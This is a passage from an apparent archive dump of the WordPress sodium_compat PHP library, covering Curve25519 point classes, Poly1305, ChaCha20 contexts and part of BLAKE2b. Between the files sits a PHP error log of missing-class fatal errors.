if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P3', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
Core32/Curve25519/Ge/P1p1.php000064400000003344151024233030011055 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->X = $x;
        if ($y === null) {
            $y = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->T = $t;
    }
}
Core32/Curve25519/Ge/Precomp.php000064400000002775151024233030011750 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->xy2d = $xy2d;
    }
}
Core32/Curve25519/Ge/P2.php000064400000002541151024233030010613 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P2', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
Core32/Poly1305.php000064400000003062151024233030007540 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305
 */
abstract class ParagonIE_Sodium_Core32_Poly1305 extends ParagonIE_Sodium_Core32_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
Core32/ChaCha20/error_log000064400000007354151024233030010771 0ustar00[28-Oct-2025 04:17:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[28-Oct-2025 04:18:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[01-Nov-2025 19:51:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[01-Nov-2025 19:52:25 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[02-Nov-2025 13:08:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[03-Nov-2025 16:29:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[03-Nov-2025 16:34:20 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
[03-Nov-2025 16:35:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[03-Nov-2025 16:43:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10
[03-Nov-2025 16:49:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10
Core32/ChaCha20/IetfCtx.php000064400000002737151024233030011133 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core32_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));
        }
        $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4));
    }
}
Core32/ChaCha20/Ctx.php000064400000011450151024233030010313 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core32_ChaCha20_Ctx extends ParagonIE_Sodium_Core32_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
        $this->container[1]  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
        $this->container[2]  = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
        $this->container[3]  = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));

        $this->container[4]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $this->container[5]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $this->container[6]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $this->container[7]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4));
        $this->container[8]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4));
        $this->container[9]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4));
        $this->container[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4));
        $this->container[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = new ParagonIE_Sodium_Core32_Int32();
            $this->container[13] = new ParagonIE_Sodium_Core32_Int32();
        } else {
            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));
            $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4, 4));
        }
        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int|ParagonIE_Sodium_Core32_Int32 $value
     * @return void
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if ($value instanceof ParagonIE_Sodium_Core32_Int32) {
            /*
        } elseif (is_int($value)) {
            $value = ParagonIE_Sodium_Core32_Int32::fromInt($value);
            */
        } else {
            throw new InvalidArgumentException('Expected an integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
Core32/BLAKE2b.php000064400000053464151024233030007361 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core32_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    public static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    public static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9,  4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15,  8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3, 13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1,  9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8, 11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2, 10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10,  5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 , 0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function new64($high, $low)
    {
        return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high);
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     */
    protected static function add64($x, $y)
    {
        return $x->addInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @param ParagonIE_Sodium_Core32_Int64 $z
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public static function add364($x, $y, $z)
    {
        return $x->addInt64($y)->addInt64($z);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws TypeError
     */
    public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y)
    {
        return $x->xorInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c)
    {
        return $x->rotateRight($c);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64($x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param ParagonIE_Sodium_Core32_Int64 $u
     * @return void
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u)
    {
        $v = clone $u;
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            $k = 3 - ($j >> 1);
            $x[$i] = $v->limbs[$k] & 0xff;
            if (++$i > $maxLength) {
                return;
            }
            $v->limbs[$k] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedAssignment
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) {
            throw new TypeError('Not an int64');
        }
        /** @var ParagonIE_Sodium_Core32_Int64 $c*/
        $c = $ctx[1][0];
        if ($c->isLessThanInt($inc)) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);
